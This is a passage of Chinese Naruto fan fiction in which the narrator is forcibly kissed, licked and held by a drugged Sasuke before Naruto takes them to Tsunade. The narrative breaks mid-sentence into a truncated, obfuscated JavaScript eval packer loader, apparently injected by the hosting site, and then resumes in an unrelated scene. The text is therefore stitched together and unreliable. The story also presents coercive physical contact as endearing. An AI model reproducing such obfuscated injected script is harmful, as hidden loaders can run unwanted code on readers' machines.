我立时“哇”地一声哭了出来,仿佛卸下了重担,整个人都没了力气,软倒在了地上,手里的刀片也掉在了地上。 我抹了会儿眼泪,很快就感觉掌心痛痛的,大概是被刀片割伤了。 “你没事吧,佐助,”我抽噎着说,如释重负,肌肉开始酸痛起来,“我刚刚好害怕,那个人是谁,他忽然就过来了,还说要把我带走,他是你哥哥吗?我听到他好像叫因陀罗……” 我猛地停了下来,接着小心翼翼地开口:“佐助?” 青年的手指慢慢从我的脸颊滑到脖颈,接着停在濡湿的衣领上。 指尖与肌肤接触的地方滑腻腻的。 是唾液。 他在黑暗中一言不发,仿佛冻结了。 我听见他握紧拳头时,骨节咔哒咔哒作响的声音。 像是在主人身上闻到了野猫味道的家猫。 我没由来地开始心脏狂跳,舔了舔干燥起皮的嘴唇:“佐、佐助?” 猝不及防的,他扣着我的后脑勺,咬了上来。 我倏然瞪大眼睛。 他的鼻息沉重、滚烫、恼怒、压抑而混乱。 我在汗水与血液的味道中,闻到了一丝不正常的气味。 佐助现在的状态,不太对劲? 嘴唇很痛,他捏着我的下颌,把舌头钻了进来。 滑腻腻的。 潮热的汗水、猩黏的血液、咸涩的眼泪。宛如万花筒般绚烂。 滚烫的吐息,探索的手指,锋利的牙齿。被控制与入侵。 全部都混杂在一起。 滚烫,燥热,黏腻。 疼痛。 电流般的酥麻。 缺水。窒息。氧气。 渴欲。 舌头搅弄的黏湿水声。 意志在抽离。感官混乱,头晕目眩。 我的初吻。 天花板附近隐隐约约有白色的光亮乍现,这光宛如创世纪那般遽然洞开,迅速扩散。 原来我已经离门口很近了。 那个古怪疯狂的男人差点就真的把我带走了。 适应了光线以后,我才发现,在和我接吻的黑发青年状态并不正常,黑色的妖异的花纹从他的脖颈一直蔓延到脸上,大半张脸都是这样张牙舞爪的妖异黑色斑纹。他肌肤白皙,因此显得格外骇人。 而那双乌沉沉的眼睛,也变得无比鲜红,同样旋转着诡异的黑色花纹,仿佛要印入我眼中,令人一时间昏头涨脑。 乍然看见这样的一副近在咫尺的、美丽到诡谲的面孔,我吓得大脑一片空白,险些原地晕厥。发软的身体直往地上倒,被佐助顺手捞住,抱着吻得更深了。 来不及吞咽的唾液与汗水混在一起,两个人搂抱在一起,肌肤黏糊糊的。 无法呼吸。 好热。 体温在升高。 他这样,不知道是被人注射了什么药物,还是吸入了什么不正常的致幻剂。显然失去了理智,野兽般的全凭本能在行动。 但他最开始还好好地与我说话,也不知道我哪里刺激到他了,让他苦苦支撑全程的理智,在最后一刻全然溃散。 佐助是我的朋友,我不能像伤害因陀罗那样,行为过激地让他松开我。但无论我怎么推,也推不动他。他的力气大得吓人,简直要把我活吞了。 与其说是缠绵缱绻的亲吻,不如说是猫科动物的本能标记行为。 应激到失去理智。 就像要抹去什么令他极为厌恶排斥的、荷尔蒙强于他的强烈气味,覆盖上他自己的味道一般。 野兽间的同类相斥。 说起来……在木叶,死里逃生的挚友之间,通过接吻来庆祝是正常的吗? 在考虑这个问题以前,还得思考另一个问题:我和佐助目前能算挚友吗? 我是很想和他做好朋友啦,但不知道佐助怎么想。 “呜哇,有人在这里吗?不是说好约在下午见面,为什么没人来啊,我都等到打瞌睡啦!” 就在我头痛的时刻,忽然响起了熟悉的声音。 一个金灿灿的脑袋钻了进来,探头探脑。我激动地发出“唔唔”声。 鸣人很快就来到了我面前,抓着脑袋说:“欸,是你?” 他顿了一下,因为被佐助挡住,我看不到他的表情,只听见鸣人问:“你和佐助躲在这里干什么?” 16. 第 16 章 16、 听见有人进来,佐助已经没在咬我的嘴巴了。他掐着我的腰不让我乱动,把脑袋埋在我的肩颈,鼻尖耸动着,像是疑心主人在外面偷摸野猫的家猫那样,疑神疑鬼地在我身上嗅来嗅去,有些硬和炸的黑发挠得我下颌痒痒的。然后终于找到了令他不快的气味源头——佐助嫌恶把我身上披着的白袍扯下来甩在地上。 那是因陀罗离开之前给我披上的。 接着,佐助终于勉强满意我身上的味道,尽管表情依旧冷淡,但紧抿下压的嘴角微微松开,占有欲极强地把我抱在怀里,像抱着心爱木天蓼的猫科动物一样用湿漉漉的口鼻贪婪地嗅闻,仿佛我身上有让他极为着迷上瘾的味道。以至于他毫不餍足,边嗅边伸出舌头,喉咙里咕噜咕噜地轻哼着,舔了舔我渗出肌肤的汗珠。 ——噫! 柔软湿润的舌尖蹭过滚烫肌肤,触感湿滑宛如蛇信。 我打了个激灵,露出困扰的表情,把手按在对方胸口用力推拒,又握着他桎梏我的小臂咬着牙往外拉拽。可不仅没有成功,反作用力还让我将手指不慎滑进了他小臂上黑色的护腕里。 看起来冷冰冰的佐助也是有正常生理反应的普通人,在燥热憋闷的环境里他出了很多汗,护腕湿热,弹性的布料紧紧箍着我的手指和他的小臂。能触摸到他隆起的筋骨与肌肉,充满力量感。指腹微微发黏,是他的汗水。 他周身气息一向清淡冰冷,即使靠得如此之近,彼此滚烫的汗水与吐息相融,我也没有闻到在他身上很浓烈的气味。只有些微不久前染上的荻花的草木香气。 兴许是方才他穿过摇曳的荻花丛时粘上的。 ……他曾在摇曳的高高荻花丛里沉默地注视我的背影。 我百思不得其解。佐助是个待人一贯冷淡克制的酷哥,之前即使是面对三年未见的挚友鸣人和小樱,也并没有表现得特别热情。刚刚哪怕是对我吐露心事,言辞态度也十分克制冷淡。 他多年身负重担与仇恨,能够耐心回答别人的话,就已经是他另眼相看的表现了。 在第一次见面时,我就觉得他对我态度冷冰冰的,甚至排斥我的接触,当初以为是我收伞时不慎弄湿了他,惹他不快。 但现在想来,他那天的表现,更像是一直在痛苦压抑着什么躁动的欲望。由此对我产生了憎恨与怨怼。 难道说,他很喜欢我身上的味道?一直想闻闻看? 就像我有时候也想闻路边漂亮的野花的味道一样。我可以理解这种心情。 可是今天的我和平常并没有什么不同,使用的沐浴露和洗发露也没有更改。反而因为仓库闷热,出了比之前更多的汗,之前喷的止汗剂早就挥发了,身上只有汗水的味道。我虽然没什么令人讨厌的体味,但湿漉漉的汗水无论如何也不能用“好闻”来形容。可佐助却恍若极为满意着迷,以至于嗅觉已经不足够,而是开始依赖于触觉与味觉来感知了。 就连眼睛也变成了诡异的,流转着花纹的红瞳。 一想到佐助现在痴迷地闻来闻去,舔来舔去,既没有闻到沐浴露的香味,也没有闻到止汗剂的香气,而是闻到了我满身汗水的味道,还把我黏糊糊的汗水舔来舔去战栗着吃掉,我就感到十分尴尬,手指僵硬,脸上的温度也随之上升。 方才的因陀罗也是这样。 兴奋狂热到连伤口被我撕裂抠挖的剧痛都顾不上,简直就像对什么成瘾性极强的东西上瘾了似的。 但无论我自己怎么闻,都没有发现我身上有什么能够引人发狂的奇妙味道。 只是普通的汗水气味。 难道说这种味道只有特定的人可以闻见吗? 而且不仅仅是汗水,我的唾液也……刚刚佐助把舌头伸进来激烈地搅弄以后,我差点无法呼吸,连氧气都被夺走。我本来以为是佐助太过缺水,所以本能使然掠夺水源。但那种对我□□急迫贪婪、神思恍惚的模样,显然不仅仅是对水分的渴望。 更令我尴尬的是,佐助还仿佛我是什么高级猫罐头一般,听见鸣人的声音以后,立刻警惕地把我抱在怀里藏起来,用他的身体挡住我,把他的下颌强硬地压在我的脑袋上,迫使我不得动弹。在我的头顶露出仿佛从地狱中爬出来的,骇人阴郁到鬼气森森的一张脸。冷冷地望着来人,气质冷淡,一言不发。 我背对着鸣人,只听见鸣人惊讶地大叫道:“佐助!!你——” 方才惊鸿一瞥,蔓延佐助大半张脸还有脖颈的黑色斑纹的确十分惊悚。 佐助完全没理他。 “你们俩居然背着我在这里抱抱一整天!!”鸣人说,一副“我的两个挚友背着我在外面偷偷做好朋友”的震惊与不忿,“我也要抱!” 我:? 佐助:……? 接着鸣人一个热情的大熊抱了过来,这里本来就很热,鸣人的力气还非常大,“噗呃——!”我被鸣人和佐助两个人的胸肌挤在中间,一口气没上来,差点要变成扁扁的饼干夹心了。 “鸣人!噗咳咳——”我连忙说,“你弄错啦!” 我把事情的起因经过快速说了一遍:“那个叫因陀罗的坏家伙好像给佐助用了药,他现在神志很不清醒。”脸上的黑色斑纹就是佐证。 在我叙述的时候,佐助已经顺着我的手臂一直闻到手腕,鼻尖蹭着我的手臂,凉凉的,痒痒的。最后佐助把脸贴在我血糊糊的掌心,像猫科动物那样好奇心重地蹭了蹭。 那里之前握刀片太用力割破了,血液和汗水混在一起,已经干涸。他嗅了嗅,伸出舌头舔了下血迹,红瞳中花纹倏然兴奋缩放,鼻腔里“嗯”的沙哑而压抑地低吟了一声,整个人都战栗了一下。 “噫!佐助这样很不干净!”我说,用力把手抽回来,没想到反而惹恼了佐助,他阴沉沉地抬起来,攥紧我的手腕,红瞳中流转着黑色花纹。 “……嗯?”他阴郁地盯着我。 我是个超级窝囊的人,一看到他这种下一秒就要发疯的可怕样子,立刻就把手随便他舔舔了:“没事的,佐助。我只是想建议,你最好去医院治疗下……”我指了指脸,关心道,“你脸上忽然有很多黑色的花纹……没事吗,会不会痛?” “……”佐助像是早就知道自己身上的异变,毫不惊讶。只是将舌尖粗暴地贴在我已经止血的伤口上,像凿开一口井那般用力凿开我,重新弄破它,喉结急促滚动,舔舐渗出的血珠,浓密的乌黑眼睫因极度兴奋而难以遏制地剧烈颤抖。 我有点被他这种不稳定的癫狂状态吓到了。 他看起来要活生生撕咬下我的每一块肉,嚼碎每一根骨头咽下去。 “佐助……”我有些不安。 掌心传来麻痒与刺痛。 他仿佛在撕扯、啃噬、吞咽我的灵魂。 “佐助他现在完全是按照本能行动啦,”鸣人说,“听不懂你在说什么的。普通的医院无法治疗,送去给纲手老师看看吧,她或许能治好的。” “纲手老师?” “就是初代火影的孙女噢,最近回国探亲,爸爸软磨硬泡说服她暂时在木叶大学代课,”鸣人说,“她是超级厉害的医生,在国际上都很有名。” 我听口吻,鸣人好像早就知道佐助身上异状的由来。于是我问鸣人要了水,一边咕嘟咕嘟补水,一边往外面走。 没想到在里面待了数个小时,再出来时已经是下午了。烈阳被云层遮蔽,气温凉爽,半人高的荻花随风摇曳,远处有淙淙流水声。 想到佐助与我一样在又热又闷的仓库里待了很久,还和那个叫因陀罗的战斗力强的大坏蛋对上,应该也十分疲惫缺水,我喝到一半,把水瓶递给对方。容色姝丽的黑发青年抬起脸,淡色的嘴唇上有些血色的艳丽,漂亮得触目惊心,不似活人,更像鬼怪。他神色恹恹,阴沉冷淡,猩红色的眼睛冷冷地、直勾勾地盯着我瞅了一阵,直瞅得我心里发慌,心跳声加速,掌心出汗。才就着我的手,慢慢将湿润的瓶口含在嘴里,盯着我用柔软的舌尖舔了一下。 ……那是我刚刚喝过的地方。 我浑身都不自在,把脸别到一边。 听到饮水声,还有矿泉水瓶空掉的声音。我才扭过头。 佐助的嘴唇上沾了几滴透明的水珠,他野兽般地用舌头舔了舔,嘴唇变得湿润柔软起来。 他喝水时的姿态也与野兽别无二致,并不珍惜,不少水珠都顺着他的下颌滑到滚动的喉结,被精致昳丽的锁骨承接,继而落入胸膛上,滚入衣衫深处。 白色的衬衣被微微打湿,透露出些许肌色。 我是开了车过来的,佐助完全黏在我身上,加上我的手掌心有割伤,无法开车,就只好让鸣人开车把我们送到木叶大学。路上我们简单聊了几句,鸣人说佐助之前跟去修行的老师大蛇丸不是好人,他根本不是诚心诚意想要帮助佐助变强,而是不怀好意想利用佐助,因此长期用有毒的精神药剂控制佐助。 毒素侵蚀身体,严重时会在脸颊与脖颈外显出诡谲的斑纹。 鸣人早就知道这件事,一直想帮佐助摆脱控制,但是佐助复仇心切,完全不在乎,数次让鸣人不要管他。 “佐助情绪激动的时候,就会失去理智,变成这样,方便被大蛇丸控制。”鸣人说。他顿了顿,补充道,“看起来佐助很喜欢你……往常他这种状态的时候,都不允许别人靠近。” 不允许别人靠近? 我虚着眼睛瞥了一眼把我抱在怀里的佐助,为了顺毛捋,我现在是坐在佐助大腿上,任由他把脑袋埋在我的肩颈上休息。 他体力消耗很大,这时候有些困了,随着车子行驶的平缓震动,纤长浓密的黑色睫毛颤了颤,慢慢在我怀中睡着了,颜色浅淡的嘴唇微微抿着,手臂紧紧怀绕着我的腰。我稍微试着动了下,他就警告似的收紧了,喉咙里发出不满的低哼声,差点把我的腰勒断。 根本是超级黏人状态吧! 我有点担心:“听起来很麻烦,能治疗好吗?” “如果是之前或许没太大可能,那可是大蛇丸,”鸣人想了想说,“但那可是纲手老师,她的医术非常精湛,听说已经到了净土的人都能被她救回来。年轻的时候就与大蛇丸,还有自来也老师齐名。想必有她出马,应该十拿九稳。啊对了,小樱最近正跟着纲手老师学习,她也对纲手老师的高超医术赞不绝口呢。” 我有些惊讶:“欸,小樱还没有告诉我,她有新老师了。” 鸣人抓了抓脑袋:“难道她想给你一个惊喜,好让你大吃一惊?”他眯起眼睛,陷入思索,“我是不是又搞砸了……”他一脸“要被小樱揍了”的惊疑不定。 我想了想,恍然大悟:“小樱当初报考医学系,该不会就是因为看到挚友被人所害,想要救他吧?” 我的心里暖洋洋的,小樱虽然力气大又凶巴巴的,但是漂亮又善良,对自己的朋友总是很温柔。能在大学里交到这样的好朋友,真是我的幸运。 “真好啊……”我羡慕地说。 “嗯?”鸣人疑惑。 “我也想在很小的时候就和鸣人还有小樱成为好朋友。”我说,“一定很有趣!” 鸣人扭过头对我笑起来,金色的头发就像太阳一样:“现在成为朋友也不晚!我们会一生都是最好的挚友的!哪怕打断我浑身的骨头我也会抓住你的手,就算我哪一天痛苦得要死掉也不会放开你!” 他就这样若无其事地说出了超级沉重的话语。 我真的交到了超棒的挚友呢! “嗯嗯……啊!车子,有车子过来了!!鸣人!!” 到了木叶大学,把佐助托付给纲手老师。令我惊喜的是,纲手老师恰是上个月在机场帮我的那位大姐姐。她也还记得我,十分豪爽地把我搂进她怀里抱了抱,问我事情后来解决了吗。 ……丰满又柔软。还香香的。 我偷偷地脸红了。 我用力点了点头:“已经没问题了,谢谢您,纲手姐姐。”我顿了顿,露出笑容,认真地说,“因为我遇到了,能够看见我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他没有说话,但也没有反对。 我就当他默认了。 佐助总是看起来背负了很多,拒人于千里之外的冷淡沉重模样。但其实不过与我是同龄人。我在工作生活中虽然遇到了很多令我沮丧的难题,但并没有佐助家里非死即伤的惨烈,我的爸爸与妈妈都十分关爱我,公司里的同事也大多比较友好。 那种家中一夕之间惊变的惨剧是没有的。 我无法想象是怎样的痛苦,让佐助不惜伤害自己的身体,也要选择复仇。 明明和我年纪一样大。 “虽然不知道佐助为什么告诉我你的家事,”毕竟我觉得对外人说出这种事有点太沉重了,我说,“但是我很高兴佐助可以信任我,把这么重要的事告诉我。” 有时候即使是把深埋心底的痛苦说出口,都是需要巨大勇气的。 被他人信任与重视的感觉令我感到十分温暖,同时也认为自己不应该辜负这份宝贵的信任。 因此,我做下了决定。 “我也曾遇到小时候难以想象的痛苦,长大以后才知道工作并没有那么轻松快乐。有很多复杂的东西我到现在也没有搞懂。 “痛苦没有评判标准,无法划分等级。小孩子失去一块糖果的痛苦,和大人失去至亲至爱的痛苦都是痛彻心扉、天地昏暗无光的痛苦。 “但是痛苦的事分享给朋友以后,似乎就没那么痛苦了。因为真正的挚友是为你的痛苦而感到加倍痛苦,为了你的快乐而发自内心地同样快乐的人。” 我有些紧张地舔了舔嘴唇,认真地看着他。 “无论是工作还是生活,我都有很多事做不到。但我想成为在朋友哭泣时,把肩膀和纸巾借给朋友的人。那个……既然我们分享过彼此最重要的心事,也一起经历过危险,勉强算得上‘生死之交’。那么……我们是朋友了吗,佐助?我很想做你的朋友,也很憧憬你和鸣人还有小樱的友谊。我希望我们可以做一生的挚友!就像鸣人说的——永远都不要分开……咕呜!” 他猛地握紧了我的手腕。 我听见骨节错位的咔咔声。 他坐起身,闭着眼睛深呼吸了好几个循环才勉强冷静下来。冷冷地盯着我,抿着唇,每个字都艰难地像是从牙缝间挤出来:“……你知道自己在说什么吗?” “想要和佐助成为一辈子的好朋友……?”我不太确定地重复。 “真是愚蠢,我给过你无数次机会。” 他乌沉沉的眼瞳晦暗无光,但几乎要把我的脸颊点燃。 “你偏偏要来引诱我……” 我咬住嘴唇,喉咙干涩。 “……你生气了吗,佐助,?” 友情有时是相当排外的。一起长大的挚友后来有了新朋友,在某些偏激孤僻的人看来,无异是一种背叛。 我有些紧张,害怕他会误会,认为我抢走了他原本的两位挚友,现在又来对他说些假惺惺的话。 我并没有那个意思。 “没有,恰恰相反。”佐助就这样盯着我,慢慢地、阴沉沉地挑了下嘴角,淡淡道,“……我答应你。” 我有些不安地往后退了一步。 现在神色淡淡的佐助,恍惚间比他在仓库中半面黑色斑纹,红瞳黑纹,意态狂乱之时更为诡谲危险。 早已愈合的食指指根莫名其妙又开始隐隐作痛起来。 仿佛余毒未清,毒入脏腑。 牵连着心脏,隐秘地抽痛。 鸣人正和纲手老师谈话到一半,两个人神色都很严肃。见我浑浑噩噩地走出来,鸣人连忙问我怎么了。 “没什么……”我慢吞吞说,抬起手,盯着抽痛的食指指根看了片刻,那里并没有伤口。我放下手,抬起脑袋,有些迟疑地对鸣人说,挤出一个笑容,“大概是……又交到了一个宝贵的新朋友……吧?” 这应该,挺值得高兴的吧? 为什么我反而,隐隐约约,有些害怕起来了。 灵魂又黏又湿,变得无比沉重。由内而外散发着阴冷的寒气,仿佛被什么东西缠上了。